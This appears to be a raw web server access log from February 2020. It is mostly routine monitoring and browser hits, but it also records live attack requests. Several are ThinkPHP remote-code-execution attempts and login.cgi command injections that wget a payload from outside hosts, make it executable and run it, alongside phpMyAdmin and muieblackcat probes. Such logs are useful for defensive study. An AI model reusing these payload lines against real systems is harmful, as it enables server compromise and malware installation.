212.91.246.72 - - [13/Feb/2020:22:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.161.66 - - [13/Feb/2020:22:07:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:22:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.111.36.112 - - [13/Feb/2020:22:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:22:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.183.228.213 - - [13/Feb/2020:22:18:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:22:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.193.176.167 - - [13/Feb/2020:22:20:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:22:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.53.176.227 - - [13/Feb/2020:22:28:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:22:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [13/Feb/2020:22:31:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:22:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.197.131.62 - - [13/Feb/2020:22:33:39 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:39 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:39 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:39 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:39 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:39 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:39 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:40 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:40 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:40 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:40 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:41 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:41 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:41 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:41 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:41 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:41 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:41 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:41 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:41 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:42 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:42 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:42 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:42 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:42 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:42 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:42 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:42 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:43 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:45 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
138.197.131.62 - - [13/Feb/2020:22:33:45 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
3.92.181.56 - - [13/Feb/2020:22:33:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:22:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.179.184 - - [13/Feb/2020:22:34:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.193.176.167 - - [13/Feb/2020:22:35:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:22:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.249.22.173 - - [13/Feb/2020:22:39:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:22:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.239.115 - - [13/Feb/2020:22:39:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:22:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.132.193 - - [13/Feb/2020:22:42:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:22:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.157.79 - - [13/Feb/2020:22:42:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:22:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.237.21.154 - - [13/Feb/2020:22:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:22:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
147.158.165.113 - - [13/Feb/2020:22:47:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:22:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.249.22.173 - - [13/Feb/2020:22:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:22:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.174.24.188 - - [13/Feb/2020:22:57:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:22:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [13/Feb/2020:23:00:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [13/Feb/2020:23:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.55.44.136 - - [13/Feb/2020:23:01:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:23:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.252.167.171 - - [13/Feb/2020:23:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:23:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.127.24.119 - - [13/Feb/2020:23:11:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
211.218.0.195 - - [13/Feb/2020:23:12:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [13/Feb/2020:23:12:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [13/Feb/2020:23:12:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:23:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [13/Feb/2020:23:12:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
171.229.239.115 - - [13/Feb/2020:23:12:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.163.97.67 - - [13/Feb/2020:23:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:23:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.149.119.229 - - [13/Feb/2020:23:16:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:23:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:23:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.137.83.58 - - [13/Feb/2020:23:21:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
